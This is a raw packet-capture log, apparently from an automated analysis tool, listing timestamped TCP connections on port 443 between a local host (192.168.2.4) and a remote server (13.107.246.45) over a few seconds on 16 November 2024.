Nov 16, 2024 20:13:29.028556108 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.028573990 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.083831072 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.084485054 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.084512949 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.084969997 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.084976912 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.195540905 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.196413040 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.196420908 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.196898937 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.196902990 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.214169979 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.214334011 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.214399099 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.214479923 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.214500904 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.214513063 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.214518070 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.217787981 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.217890978 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.218225002 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.218225002 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.218322992 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.326256037 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.326282978 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.326333046 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.326376915 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.326428890 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.326761961 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.326769114 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.326777935 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.326781988 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.330486059 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.330568075 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.330694914 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.330910921 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.330948114 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.362648964 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.363040924 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.363054037 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.363471985 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.363475084 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.493330956 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.493513107 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.493587017 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.493771076 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.493782997 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.493792057 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.493797064 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.497234106 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.497270107 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.497356892 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.497509956 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.497524977 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.647448063 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.648160934 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.648236990 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.648597956 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.648612022 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.915649891 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.915678024 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.915745974 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.915767908 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.915846109 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.916177988 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.916193962 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.916208029 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.916215897 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.919914961 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.919960976 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.920053005 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.920278072 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.920295000 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.006825924 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.007483006 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.007500887 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.008163929 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.008169889 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.046587944 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.046977997 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.046999931 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.047400951 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.047410011 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.093417883 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.093854904 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.093877077 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.094265938 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.094270945 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.143193007 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.143238068 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.143326044 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.143335104 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.143436909 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.143486977 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.149158001 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.149173021 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.149184942 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.149190903 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.152599096 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.152610064 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.152828932 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.152828932 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.152847052 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.178800106 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.178852081 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.178909063 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.179011106 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.179213047 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.179218054 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.179245949 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.179250956 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.181544065 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.181585073 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.181663990 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.181848049 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.181862116 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.223951101 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.224024057 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.224097967 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.224261045 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.224271059 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.224284887 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.224292040 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.226622105 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.226636887 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.226703882 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.226892948 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.226905107 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.236818075 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.237272978 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.237282038 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.237713099 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.237716913 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.368114948 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.368150949 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.368201017 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.368222952 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.368272066 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.368596077 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.368602991 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.368623972 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.368628025 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.372769117 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.372819901 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.372910023 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.373028994 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.373040915 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.648019075 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.648478985 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.648515940 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.648912907 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.648922920 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.778974056 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.779084921 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.779186964 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.779505014 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.779532909 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.779550076 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.779556990 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.783540964 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.783592939 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.783715010 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.783844948 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.783865929 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.897268057 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.898121119 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.898165941 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.898611069 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.898617029 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.924407005 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.925035954 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.925076008 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.925695896 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.925721884 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.966892004 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.970254898 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.970288992 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:30.971405029 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:30.971414089 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.026607990 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.026715994 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.026824951 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.026890993 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.026890993 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.056299925 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.056381941 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.056576014 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.094527006 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.094552040 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.094563961 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.094571114 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.120650053 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.120650053 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.120719910 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.120757103 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.154270887 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.154311895 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.154406071 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.166956902 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.167002916 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.249309063 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.249387980 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.249499083 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.249562025 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.249562025 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.372986078 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.373076916 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.373168945 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.416134119 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.416134119 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.416171074 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.416188955 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.416909933 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.416954041 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.420814991 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.420859098 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.420931101 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.421049118 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.421065092 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.440670013 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.441031933 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.441072941 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.441473007 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.441482067 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.520608902 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.521500111 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.521547079 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.522125959 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.522134066 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.570961952 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.571130991 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.571217060 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.571583986 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.571609974 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.571650028 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.571657896 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.575134993 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.575189114 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.575265884 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.575486898 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.575508118 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.654114962 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.654578924 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.654640913 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.654654980 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.654691935 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.654968977 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.654968977 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.655010939 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.655028105 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.658411026 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.658462048 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.658550978 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.658725977 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.658741951 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.918503046 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.919188023 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.919262886 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:31.919680119 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:31.919696093 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.066993952 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.067447901 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.067532063 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.067610979 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.067658901 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.067698002 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.067714930 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.071702957 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.071784019 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.071887970 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.072117090 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.072151899 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.148389101 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.148610115 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.149020910 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.149060011 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.149096966 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.149131060 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.149585962 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.149594069 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.149849892 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.149863958 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.277426004 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.277540922 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.277672052 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.277688980 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.277750969 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.277944088 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.277968884 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.277983904 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.277991056 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.278335094 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.278419018 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.278496027 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.278579950 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.278626919 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.278656006 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.278672934 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.281577110 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.281608105 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.281728029 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.281774998 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.281824112 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.281881094 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.281889915 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.281898022 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.282098055 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.282119036 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.361891031 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.362581968 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.362612009 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.363027096 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.363038063 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.393318892 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.393836975 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.393856049 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.394211054 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.394217014 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.497289896 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.497462034 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.497555971 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.497766972 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.497800112 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.497823954 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.497837067 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.501523018 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.501574039 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.501938105 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.501938105 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.501975060 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.523643017 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.523734093 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.523806095 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.523932934 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.523952007 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.523966074 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.523972034 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.526942015 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.526983976 CET	443	50044	13.107.246.45	192.168.2.4
